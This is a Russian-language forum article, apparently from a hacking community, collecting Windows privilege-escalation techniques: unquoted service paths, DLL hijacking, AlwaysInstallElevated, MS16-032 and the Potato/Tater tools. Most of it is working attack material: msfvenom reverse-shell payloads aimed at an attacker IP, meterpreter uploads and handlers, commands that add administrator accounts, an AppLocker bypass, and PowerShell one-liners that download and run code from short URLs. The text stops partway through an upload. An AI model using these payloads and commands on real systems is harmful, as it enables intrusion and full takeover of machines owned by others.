Статья Как повысить привилегии в Windows

z3r0c10wn

Премиум
04.09.2017
105
199
#1
Добрый день, Коллеги.

Сразу оговорюсь, я не претендую на полноценное авторство для данной статьи. Моя работа скорее была - скомпоновать техники и проверить их на практике, оставив только реально рабочие и полезные варианты.
В данной статье используются переводы с зарубежных форумов и статей, часть наших, часть писал и в том числе я сам. Просто делюсь своими архивчиками.
Сегодня мы поговорим о повышение привилегий Windows.

Повышение привилегий с BeRoot
Большинство способов поднятия привилегий связаны с ошибками в конфигурации установленного ПО, будь то путь к исполняемому файлу сервиса, не обрамленный кавычками и содержащий пробел (такая ситуация довольно интересно обрабатывается виндой), или же неверно выставленные права на директорию с приложением. Итак, что же BeRoot умеет находить? Для начала те самые пути с пробелами, не обрамленные кавычками:
C:\Program Files\SomeTest\binary.exe.
В данном случае Windows будет пытаться найти и запустить файл в следующем порядке:
Код:
C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Folder\binary.exe
Соответственно, если binary.exe выполняется с повышенными
привилегиями и у вас будет возможность разместить на диске C файл Program.exe, то вместо исходного бинарника винда выполнит ваш, что поднимет ваши привилегии в системе.Так же можно выполнить следующий вид команды что бы вывести такие пути
Код:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
1527251729523.png
Если посмотреть запись для этой службы в системном реестре, то можно увидеть ключ ImagePath значение которого:

C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe

Хотя должно быть:

“C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe”

Данный способ называется Неквотируемые пути служб (Unquoted Service Paths)
Далее, проверяются интересные директории, куда мы можем что-либо записать. Эти интересные директории составляются из путей до исполняемых файлов сервисов, запланированных заданий, ключей автозагрузки (HKLM).
Следующим этапом проверяется переменная окружения %PATH%, не содержит ли она директорий, доступных для записи. Если так, то на ОС от Vista до Windows Server 2016 можно будет выполнить DLL Hijacking

Примеры и Триксы
Для проверки прав на папку можно воспользоваться встроенной тулзой

icacls. Ниже показан результат проверки прав для C:\Program Files (x86)\Program Folder:
Код:
meterpreter > shell
Process 1884 created.
Channel 4 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Program Files (x86)\Program Folder>icacls "C:\Program Files (x86)\Program Folder"
icacls "C:\Program Files (x86)\Program Folder"
C:\Program Files (x86)\Program Folder Everyone:(OI)(CI)(F)
    NT SERVICE\TrustedInstaller:(I)(F)
    NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
    NT AUTHORITY\SYSTEM:(I)(F)
    NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
    BUILTIN\Administrators:(I)(F)
    BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
    BUILTIN\Users:(I)(RX)
    BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
    CREATOR OWNER:(I)(OI)(CI)(IO)(F)
    APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
    APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
Successfully processed 1 files; Failed processing 0 files
C:\Program Files (x86)\Program Folder>
Как видим группа “Everyone” имеет полный доступ к этой папке. Значит,
мы можем записать любой файл в эту папку.
Описание некоторых флагов в выводе команды icacls:
F = Full Control (полный доступ)
CI = Container Inherit (наследование контейнерами)
OI = Object Inherit (только наследование)
Теперь создадим reverse shell пэйлоад, который запустится с правами SYSTEM.

Для этого можем воспользоваться MSFvenom:
Код:
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e
x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o A.exe
No platform was selected, choosing Msf::Module::Platform::Windows
from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of
x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: A.exe
Скопируем наш пэйлоад в C:\Program Files (x86)\Program Folder:
Код:
meterpreter > getuid
Server username: TARGETMACHINE\testuser
meterpreter > cd "../../../Program Files (x86)/Program Folder"
meterpreter > ls
Listing: C:\Program Files (x86)\Program Folder
==============================================
Mode Size Type Last modified ---- ---- Name ---- -----------------
40777/rwxrwxrwx 21:43:28 -0500 0 dir A Subfolder
meterpreter > upload -f A.exe
uploading : A.exe -> A.exe[/li]
uploaded : A.exe -> A.exe[/li][/list]
meterpreter > ls
Listing: C:\Program Files (x86)\Program Folder
2017-01-04==============================================
Mode    Size    Type    Last modified    Name
-----------------------------
40777/rwxrwxrwx    21:43:28 -0500    0    2017-01-04    A Subfolder
100777/rwxrwxrwx 22:01:32 -0500    dir    73802    fil    2017-01-04
A.exe
meterpreter >
При следующем старте службы A.exe должен запуститься с правами
SYSTEM. Давайте проверим – рестартанем уязвимую службу:

Код:
meterpreter > shell
Process 1608 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\Desktop>sc stop "Vulnerable Service"
sc stop "Vulnerable Service"
[SC] OpenService FAILED 5:
Access is denied.
C:\Users\testuser\Desktop>
"Доступ запрещен"
Ничего страшного, у нас просто нет прав на остановку/запуск службы, но мы можем рестартануть целевую машину, выполнив команду shutdown:
Код:
C:\Users\testuser\Desktop>shutdown /r /t 0
shutdown /r /t 0
C:\Users\testuser\Desktop>
192.168.2.40 - Meterpreter session 8 closed. Reason: Died[/li]
Как видим наша сессия оборвалась.
После перезагрузки целевой машины наш пэйлоад должен запуститься с правами SYSTEM. Для того чтобы увидеть результат нам необходимо запустить хэндлер:
Код:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.2.60
lhost => 192.168.2.60
msf exploit(handler) > set lport 8989
lport => 8989
msf exploit(handler) > run
Started reverse TCP handler on 192.168.2.60:8989 [/li]
Starting the payload handler...[/li]
Sending stage (957999 bytes) to 192.168.2.40[/li]
Meterpreter session 1 opened (192.168.2.60:8989 ->
192.168.2.40:49156) at 2017-01-04 22:37:17 -0500[/li][/list]
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
192.168.2.40 - Meterpreter session 1 closed. Reason: Died[/li]
Как видим, теперь у нас появилась сессия Meterpreter'а с правами SYSTEM. Но почему же наша сессия оборвалась так быстро? Объяснить это можно - потому, что в системе Windows при старте службы она должна соединиться
с т. н. Менеджером Служб (Service Control Manager (SCM)). Если соединение не было установлено то Менеджер Служб завершит процесс. Поэтому нам необходимо мигрировать в другой процесс до того как
Менеджер Служб завершит работу нашего пэйлоада, также можно использовать автомигрирование. Хочу отметить, что в Metasploit есть уже готовый модуль для проверки и эксплуатации данной уязвимости на целевой машине:

Код:
exploit/windows/local/trusted_service_path
Если вы хотите использовать данный модуль, то его необходимо прилинковать к существующей сессии Meterpreter'а перед запуском:
Код:
msf > use exploit/windows/local/trusted_service_path
msf exploit(trusted_service_path) > show options
Module options (exploit/windows/local/trusted_service_path):
Name
Current Setting Required Description
--------------------------------------
SESSION    yes
The session to run this module on.
Exploit target:
Id Name
-- ----
0 Windows
Чтобы воспроизвести эксплуатацию описанной уязвимости, вам необходимо добавить уязвимую службу в вашей тестовой среде:
Код:
C:\Windows\System32>sc create "Vulnerable Service" binPath= "C:\Program
Files (x86)\Program Folder\A Subfolder\Executable.exe" start=auto
C:\Windows\System32>cd C:\Program Files (x86)
C:\Program Files (x86)>mkdir "Program Folder\A Subfolder"
C:\Program Files (x86)>icacls "C:\Program Files (x86)\Program Folder" /grant
Everyone:(OI)(CI)F /T
Помимо только поиска уязвимых мест, BeRoot предоставляет возможность проэксплуатировать уязвимость MS16-075 (если она есть). Стандартный трюк с добавлением своего админа будет выглядеть следующим образом:

Код:
beRoot.exe -c "net user hacker Megapasswd /add"
beRoot.exe -c "net localgroup Administrators hacker /add"
Что бы еще проверить? Ключ реестра AlwaysInstallElevated, позволяющий обычным пользователям запускать на установку MSI-файлы с повышенными привилегиями. Если эта опция включена, создавайте свой MSI-пакет и получайте полный контроль.
1527251757051.png

Повышение привилегий Windows. BeRoot нашел несколько доступных для записи директорий, указанных в переменной окружения PATH Также проверяются файлы, оставшиеся от Unattended Install, которые могут хранить данные админской учетки. Ну и на всякий случай проверяются такие экзотические вещи, как доступность сервиса для модификации, возможность создания нового сервиса, возможность создания ключа автозагрузки в HKLM, а также возможность записи в директорию, где хранятся запланированные задания.

В этом примере Vulnerable.exe содержит DLL hijacking уязвимость. Так как это демонстрация, то Vulnerable.exe является кодом, который подгружает длл без всяких проверок:
1527251808517.png
Код:
#include "stdafx.h"
#include "windows.h"
void _tmain(int argc, _TCHAR* argv[])
{
LoadLibrary(L"hijackable.dll");
}
Если разбираться, что же такое DLL hijacking, то это хорошо расписано этой статье (
Для просмотра контента необходимо: Войти или зарегистрироваться
):
Когда приложение динамически подгружает динамическую библиотеку без указания полного пути (fully qualified path name) к библиотеке, то Windows пытается локализировать эту длл путем поиска в хорошо регламентированном списке директорий и в определенном порядке (детально это описано в Dynamic-Link Library Search Order). Если атакующему удается получить контроль над одной из директорий из списка поиска, то он может поместить вредоносную копию длл в эту директорию.
Это еще иногда называют preloading attackилиbinary planting attack. Если системе не удается найти легитимную длл до поиска в скомпрометированной директории, то будет загружена вредоносная длл. И если приложение выполняется с админскими правами, то атакующему удасться произвести локальное повышение привилегий (local privilege elevation).
Когда процесс пытается подгрузить длл, то система будет выполнять поиск длл в директориях в следующем порядке:
1. В директории из которой запущено приложение
2. В системных директориях
3. В системных директориях для 16-битных приложений
4. В директории Windows
5. В текущей директории
6. В директориях, указанных в переменной окружения %PATH%
Для эксплуатирования данной уязвимости нам необходимо проделать
следующие шаги:
- Проверить существует ли длл которую подгружает процесс в какой-то
директории на диске.
- Если такой длл нет, то необходимо поместить нашу вредоносную копию
длл в одну из директорий, перечисленных выше. Когда процесс будет
запущен он найдет и подгрузит нашу длл.
- Если длл существует в одной из перечисленных директорий, то
необходимо попробовать поместить нашу вредоносную длл в директорию с
более высоким приоритетом поиска чем та, в которой лежит обычная длл.
Давайте проверим есть ли hijackable.dll на целевой машине:

Код:
meterpreter > search -f hijackable.dll
No files matching your search were found.
meterpreter >
Поиск не дал результатов, но мы не можем быть уверены на 100% что такой длл нет на целевой машине, т.к. мы находимся в непривилегированной сессии и у нас нет прав на просмотр всех директорий на целевой машине.
Следующим шагом нам необходимо проверить наличие уязвимых разрешений. Обычно я проверяю установлен ли какой-нибудь софт в корне диска, например Python. Почему лучше проверять именно в корне диска? - Потому что, первое: если
каталок был создан софтом в корне диска, то у всех аутенцифицированных пользователей будут права на запись в этот каталог. И второе: софт типа Python, Ruby, Perl и др. добавляет путь в переменную среды %PATH%. А Windows как мы помним при поиске подгружаемой длл проверяет также директории, которые перечисленны в этой переменной.


Код:
meterpreter > ls
Listing: C:\
============
Mode Size ---- Type Last modified Name ---- ----
40777/rwxrwxrwx 0 ---- dir 2017-01-18 05:59:21 -0500 $Recycle.Bin
100666/rw-rw-rw- 1 fil 2013-06-18 08:18:29 -0400 BOOTNXT
100444/r--r--r--------------- 8192 fil 2013-09-11 14:11:46 -0400 BOOTSECT.BAK
40777/rwxrwxrwx 0 dir 2016-11-19 15:49:57 -0500 Boot
40777/rwxrwxrwx 0 dir 2013-08-22 10:45:52 -0400 Documents and
Settings
40555/r-xr-xr-x 0 dir 2016-07-27 07:12:06 -0400 MSOCache
40777/rwxrwxrwx 0 dir 2013-08-22 11:22:35 -0400 PerfLogs
40555/r-xr-xr-x 0 dir 2017-01-18 04:05:59 -0500 Program
0 dir 2017-01-18 04:07:04 -0500 Program
Files
40555/r-xr-xr-x Files (x86)
40777/rwxrwxrwx 0 dir 2017-01-18 04:05:28 -0500 ProgramData
40777/rwxrwxrwx 0 dir 2017-01-18 09:51:36 -0500 Python2740777/rwxrwxrwx 0 dir 2013-09-11 13:15:09 -0400 Recovery
40777/rwxrwxrwx 0 dir 2017-01-18 03:52:51 -0500 System Volume Information
40555/r-xr-xr-x 0 dir 2017-01-04 21:51:12 -0500 Users
40777/rwxrwxrwx 0 dir 2017-01-18 03:53:05 -0500 Windows
100444/r--r--r-- 404250 fil 2014-06-14 06:46:09 -0400 bootmgr
100666/rw-rw-rw- 1409286144 fil 2017-01-18 13:53:34 -0500 pagefile.sys
100666/rw-rw-rw- 16777216 fil 2017-01-18 13:53:34 -0500 swapfile.sys
Так как мы предполагали Python установлен на целевой машине. Проверим разрешения на каталог:
Код:
meterpreter > shell
Process 3900 created.
Channel 3 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\>icacls C:\Python27
icacls C:\Python27
C:\Python27 BUILTIN\Administrators:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
Successfully processed 1 files; Failed processing 0 files
C:\>
И как видим: аутенцифицированные пользователи имеют права на модификацию. Осталось проверить есть ли каталог C:\Python27 в переменной среды %PATH%. Самый простой способ – это выполнить команду “python -h” в шелле. Если отобразится справка, то значит что этот путь есть в переменной среды %PATH%:

Код:
meterpreter > shellProcess 3360 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\>python -h
python -h
usage: python [option] ... [-c cmd | -m mod | file | -] [arg] ...
Options and arguments (and corresponding environment variables):
-B : don't write .py[co] files on import; also
PYTHONDONTWRITEBYTECODE=x
-c cmd : program passed in as string (terminates option list)
-d : debug output from parser; also PYTHONDEBUG=x
-E : ignore PYTHON* environment variables (such as PYTHONPATH)
-h : print this help message and exit (also –help)
.
.
.
Отлично! Каталог есть в переменной среды. Теперь создадим простой reverse shell пэйлоад в виде длл:
Код:
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp
lhost=192.168.2.60 lport=8989 -f dll > hijackable.dll
No platform was selected, choosing Msf::Module::Platform::Windows
from the payload
No Arch selected, selecting Arch: x86_64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 5120 bytes
root@kali:~#
Поместим пэйлоад в каталог C:\Python27:
Код:
meterpreter > upload -f hijackable.dll
uploading : hijackable.dll -> hijackable.dll[/li]
uploaded : hijackable.dll -> hijackable.dll[/li][/list]
meterpreter >
Для подгрузки нашей вредоносной длл необходимо перезапустить процесс Vulnerable.exe. Можно попробовать команду kill, чтобы завершить процесс:
Код:
meterpreter > kill 952
Killing: 952
[-] stdapi_sys_process_kill: Operation failed: Access is denied.
И опять нам не повезло. Тогда можно опять перезагрузить целевую машину и если Vulnerable.exe находится в автозагрузке, то он запустится при старте системы, в худшем случае нам придется дождатьс пока кто-то из пользователей запустит этот процесс на целевой машине.
Код:
meterpreter > shell
Process 3024 created.
Channel 3 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\Downloads>shutdown /r /t 0
shutdown /r /t 0
192.168.2.40 - Meterpreter session 3 closed. Reason: Died[/li]
А пока целевая машина ушла в ребут, запустим новый хэндлер:

Код:
msf exploit(handler) > run
Started reverse TCP handler on 192.168.2.60:8989 [/li]
Starting the payload handler...[/li]
Sending stage (957999 bytes) to 192.168.2.40[/li]
Meterpreter session 5 opened (192.168.2.60:8989 ->
192.168.2.40:49156) at 2017-01-18 07:47:39 -0500[/li][/list]
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Как видим мы получили шелл после перезагрузки целевой машины.

Повышение привилегий с Sherlock


В любой операционной системе присутствуют уязвимости, которые периодически находят, а потом патчат. Пожалуй, самый простой вариантподнять свои привилегии — это проверить, уязвима ли исследуемая система к одному из доступных в паблике сплоитов. Компилировать и запускать все по очереди? Не наш метод, мы ведь знаем (или можем узнать), какой патч закрывает ту или иную уязвимость, просто проверим наличие его установки. И если security-апдейт не установлен, то нам повезло. Такой проверкой как раз и занимается PowerShell-скрипт Sherlock. На текущий момент он проверяет наличие установленных патчей для следующих уязвимостей:
• MS10-015 : User Mode to Ring (KiTrap0D)
• MS10-092 : Task Scheduler
• MS13-053 : NTUserMessageCall Win32k Kernel Pool Overfow
• MS13-081 : TrackPopupMenuEx Win32k NULL Page
• MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
• MS15-051 : ClientCopyImage Win32k
• MS15-078 : Font Driver Bufer Overfow
• MS16-016 : ‘mrxdav.sys’ WebDAV
• MS16-032 : Secondary Logon Handle

Если что-то из этого не пропатчено, можете смело качать сплоит, компилировать и ждать успеха. Работоспособность скрипта протестирована на следующих системах:
• Windows 7 SP1 32-bit
• Windows 7 SP1 64-bit,
• Windows 8 64-bit,
• Windows 10 64-bit
Так, на тестовой машине с Windows 7 x64 на борту «Шерлок» выдал следующую сводку:
1527251841523.png
Повышение привилегий Windows. Шерлок Холмс за поиском непропатченных уязвимостей Как оказалось, машина уязвима к уязвимости Secondary Logon Handle (ну и еще нескольким в придачу), о которой читайте далее. Ну и стоит отметить, что непосредственно в Windows для проверки достаточно запустить PowerShell и выполнить
Код:
import-module .\Sherlock.ps1
В случае если у вас meterpreter-сессия до Win-машины, то подгружаем PowerShell-расширение, импортируем «Шерлока» и вызываем процедуру проверки:

Код:
meterpreter > load powershell
meterpreter > powershell_import Sherlock.ps1
meterpreter > powershell_execute "find-allvulns"
Повышение привилегий с Windows-privesc-check

Инструмент, разработанный командой pentestmonkey. Делает кучу «грязной работы» — старается найти типичные ошибки конфигурации, которые могут позволить обычным пользователям повысить свои привилегии.
Изначально написан на Python, но поставляется также в виде отдельного исполняемого файла (собранного с помощью pyinstaller), для того чтобы его можно было просто запустить на удаленной машине, а не тащить на нее предварительно питон и все остальные зависимости. Существует два варианта использования. Первый — когда у нас есть аккаунт с правами администратора и мы хотим прокачать их до системных. Второй — когда у нас аккаунт с ограниченными привилегиями
и мы хотим найти способ расширить их. Для того чтобы попросить программу найти все возможные ошибки конфигурации, надо ввести:
Код:
windows-privesc-check2.exe --audit -a -o report
В результате получим подробный отчет следующего вида:
1527251875589.png
Повышение привилегий Windows. Детальный отчет, построенный windows-privesc-check При этом утилита проверит практически все возможные варианты:
-переменные окружения, сервисы, с некорректными правами доступа,
-запланированные задания, доступные для записи ключи реестра и прочее.
Если надо ограничить поиск только какой-то одной категорией (например, поиск уязвимых сервисов), то можно использовать соответствующий ключ. Список всех доступных опций можно посмотреть с помощью ключа —help, например для сервисов это будет -S.
 

z3r0c10wn

Премиум
04.09.2017
105
199
#2
Повышение привилегий с Hot Potato

Известен также как просто Potato. Очень интересный инструмент. Неординарность этого инструмента заключается в том, что длядостижения цели он использует связку из трех атак: NBNS-спуфинг → WPAD-прокси → HTTP2SMB-релeй.
Спуфинг осуществляется для того, чтобы перенаправить жертву (то есть локальный компьютер) на подконтрольный атакующему WPAD-прокси- сервер. В нашем случае он также будет располагаться на локальной машине по адресу 127.0.0.1:80.
Фишка в том, что IE-шка по дефолту будет автоматически пытаться определить сетевые настройки, пробуя обратиться по адресу
Для просмотра контента необходимо: Войти или зарегистрироваться
. Что наиболее интересно для нас — так же поступают и некоторые службы Windows, например Windows Update. Ну а далее в дело вступает HTTP2SMB-релей. Прокси будет перенаправлять все запросы на некий уникальный URL, попутно запрашивая NTLM-аутентификацию. Полученные учетные данные будут передаваться на локальный дефолтный SMB-листенер для создания нового системного сервиса, который и будет выполнять наши команды. Таким образом, при получении запроса от привилегированного сервиса (Windows Update) команды будут выполняться с уровнем NT
AUTORITY\SYSTEM.
Это что касается принципов работы. Теперь о практике. А практика будет разделена на две части: на «семерке» все достаточно просто, все, что старше, — уже не так легко. Итак, в Windows 7 нам поможет следующая команда, запущенная от обычного непривилегированного пользователя:

Код:
Potato.exe -ip -cmd [command] -disable_exhaust true
В качестве значения параметра cmd может быть все что угодно, например команда вида

Код:
C:\\Windows\\System32\\cmd.exe /K net localgroup administrators
USERNAME /add

Кстати, если в Сети есть реальная DNS-запись для WPAD, то надо будет указать опцию disable_exhaust false.В случае с более свежими версиями винды, ситуация несколько усложняется — в них ни Defender, ни Update-сервисы уже не будут
обращаться к WPAD-сеpверу. Однако там есть такая штука, как автоматическое обновление отозванных сертификатов, — свежие версии Windows по умолчанию раз в день скачивают списки доверенных сертификатов. Она как раз
использует WPAD. Команда будет выглядеть следующим образом:

Код:
Potato.exe -ip -cmd [command] -disable_exhaust true -disable_defender true
Так как скачивание происходит раз в день, то, возможно, придется подождать какое-то время (максимум 24 часа). Поэтому способ скорее для тех, кто не торопится.

Повышение привилегий с Smashed Potato

Smashed Potato — это модифицированная версия Hot Potato, рассмотренного выше. Итак, каковы же основные изменения?
• Все .NET-сборки смержены в одну сборку, которая преобразована в массив байтов (Byte[]) — да-да, Potato писан на шарпе.
• Запуск сборки Potato из памяти.
• Включен метод обхода AppLocker с помощью InstallUtil.
• Добавлена некоторая автоматизация.
Инструмент поставляется с открытым исходным кодом, поэтому, чтобы собрать его, надо будет выполнить следующее.

Под 32-разрядные системы:

Код:
cd \Windows\Microsoft.NET\Framework\v4.0.30319
csc.exe /out:"C:\Utils\SmashedPotatoX86.exe" /platform:x86
"C:\Utils\SmashedPotato.cs"
Для 64-разpядных:

Код:
cd \Windows\Microsoft.NET\Framework64\v4.0.30319
csc.exe /out:"C:\Utils\SmashedPotatoX64.exe" /platform:x64
"C:\Utils\SmashedPotato.cs"
Далее, для того чтобы запустить инструмент с обходом AppLoсker, нужно выполнить следующее:

Код:
cd \Windows\Microsoft.NET\Framework\v4.0.30319
InstallUtil.exe /logfile= /LogToConsole=false /U C:\Utils\SmashedPotatoX86.exe
Это для 32-разрядных, как будет выглядеть для x64, я думаю, уже понятно . Кстати, вот однострочный PowerShell-скрипт, который выполнит все перечисленные действия для x64-машины:

Код:
powershell -ExecutionPolicy Bypass -noLogo -Command (new-object
System.Net.WebClient).DownloadFile('http://is.gd/y6cfKV','%temp
%\SmashedPotato.cs'); && cd
c:\Windows\Microsoft.NET\Framework64\v4.* && csc.exe /out:"%temp
%\SmashedPotatoX64.exe" /platform:x64 "%temp%\SmashedPotato.cs" &&
InstallUtil.exe /logfile= /LogToConsole=false /U %temp
%\SmashedPotatoX64.exe
Повышение привилегий с Tater

Ну а что делать, если на машине не установлен .NET Framework? Воспользоваться PowerShell-версией Hot Potato — Tater, которая сразу загружается в память и не оставляет следов на диске! Запустить утилиту можно в одну строку:

Код:
powershell "IEX (New-Object
Net.WebClient).DownloadString('http://is.gd/fVC1Yd'); Invoke-Tater
-Trigger 1 -Command ""net user User1 Password1 /add && net
localgroup administrators User1 /add"""
После чего в системе появится пользователь User1 с паролем Password1, входящий в группу администраторов. Но надо отметить, что для Windows 10 следует использовать ключ -Trigger 2.

Компиляция сплоитов в Kali

Бесспорно, основной операционной системой для проведения пентеста/взлома служит Linux, под него реализована куча инструментов, да и вообще мало кто ломает из-под винды. И с ним все прекрасно по дефолту, пока не надо скомпилировать сплоит под винду (в нашем случаедля поднятия привилегий). Исправляется такой недостаток установкой
Mingw-w64:

Код:
apt-get update
apt-get install mingw-w64
Дальше все просто, качаем сплоит и компилируем:

Код:
wget ‐‐ output-document= 40564.c https://www.exploit-db.com/download/40564
i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32
EasySystem

Если локальный админ у вас уже есть и вопрос заключается только в том, как дотянуться до системы, то можно взглянуть в сторону небольшой утилитки EasySystem. Как пишет сам автор утилиты, это никакой не эксплоит, а «старый и грязный» прием с имперсонацией именованных каналов
1527252014189.png
Повышение привилегий Windows. EasySystem и именованные каналы даруют NT AUTHORITY\SYSTEMВ некоторых ситуациях такой инструмент может пригодиться. На технических деталях мы подробно останавливаться не будем

Secondary Logon Handle

Еще один интересный трюк связан с использованием службы «Вторичный вход в систему». Данная служба позволяет запускать программы, консоли Microsoft Management, элементы контрольной панели от имени администратора, даже если текущий пользователь принадлежит всего лишь к группе Users или Power Users. Суть в том, что данный сервис не очищает хендлы при создании новых процессов. Что для нас важно — данной уязвимости подвержены почти все версии
Windows (x32 и x64): начиная с Vista и заканчивая Windows 2012 Server. Но есть и ограничения: для успешного повышения привилегий в системе должен быть установлен PowerShell 2.0 или выше, а также присутствовать два и более CPU-ядер. В Metasploit Framework есть специальный модуль
Код:
exploit/windows/local/ms16_032_secondary_logon_handle_privesc.
Его использование подразумевает, что у нас уже есть meterpreter-сессия, которую мы и должны указать в параметрах: set SESSION 1. Ну и в случае успешной эксплуатации у нас появится еще одна сессия, с повышенными привилегиями.
Для этой же уязвимости есть и PowerShell-скрипт, запускающий командную оболочку с правами системы. А также скомпилированный бинарник, выполняющий то же самое. Кстати гoворя, Microsoft выпустила патч, поэтому прежде, чем пытаться
поднять привилегии, проверьте, не установлен ли он:

Код:
C:\Users\pentestlab>wmic qfe list | find "3139914"
Примеры и трюки

Политика AlwaysInstallElevated

Данная политика разрешает Windows Installer'у использовать повышенные привилегии при установке любых програм в системе. Активация данной политики эквивалентно раздаче обычным пользователям админских прав.
1527252036502.png Для того чтобы понять разрешена ли данная политика на целевой системе вам необходимо проверить следующие значения системного реестра:

Код:
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
Если у вас есть непривилегированная сессия Meterpreter'a на целевой машине, то вы можете использовать встроенную утилиту reg query для проверки указанных значений реестра:

Код:
meterpreter > getuid
Server username: TARGETCOMPUTER\testuser
meterpreter > shell
Process 812 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\Desktop>reg query
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
ERROR: The system was unable to find the specified registry key or
value.
C:\Users\testuser\Desktop>reg query
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
ERROR: The system was unable to find the specified registry key or value.
C:\Users\testuser\Desktop>
Если при выводе вы получите ошибку “ERROR: The system was unable to find the specified registry key or value.” это значит, что такие ключи никогда не создавались на целевой машине, а соответственно политика AlwaysInstallElevated не разрешена.
Но если при выводе вы получите:


Код:
meterpreter > getuid
Server username: TARGETCOMPUTER\testuser
meterpreter > shell
Process 2172 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.C:\Users\testuser\Desktop>reg query
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
C:\Users\testuser\Desktop>reg query
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
C:\Users\testuser\Desktop>
Как было сказано ранее в этом случае Windows Installer будет использовать повышинные привилегии при установке любых программ. Следовательно мы можем сгенерировать .msi файл и запустить его на целевой машине. В этом нам поможет MSFvenom. Если вы хотите сгенерировать .msi файл, который добавит локального админа на целевой машине, то вам необходимо использовать windows/adduser в качестве пэйлоада:

Код:
root@kali:~# msfvenom -f msi-nouac -p windows/adduser
USER=eviladmin PASS=P4ssw0rd@ -o add_user.msi
No platform was selected, choosing Msf::Module::Platform::Windows
from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 277 bytes
Final size of msi file: 159744 bytes
Saved as: add_user.msi
root@kali:~#
В качестве примера мы сгенерируем reverse shell пэйлоад (Payload.exe) и .msi файл (malicious.msi), который запустит наш пэйлоад на целевоймашине. Герерируем Payload.exe:

Код:
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e
x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o
Payload.exe
No platform was selected, choosing Msf::Module::Platform::Windows
from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of
x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: Payload.exe
Теперь генерируем malicious.msi используя windows/exec в качестве пэйлоада:

Код:
root@kali:~# msfvenom -f msi-nouac -p windows/exec
cmd="C:\Users\testuser\AppData\Local\Temp\Payload.exe" >
malicious.msi
No platform was selected, choosing Msf::Module::Platform::Windows
from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 233 bytes
Final size of msi-nouac file: 159744 bytes
Теперь можем загрузить эти два файла на целевую машину:

Код:
meterpreter > cd C:/Users/testuser/AppData/Local/Temp
meterpreter > upload -f Payload.exe
uploading : Payload.exe -> Payload.exe[/li]
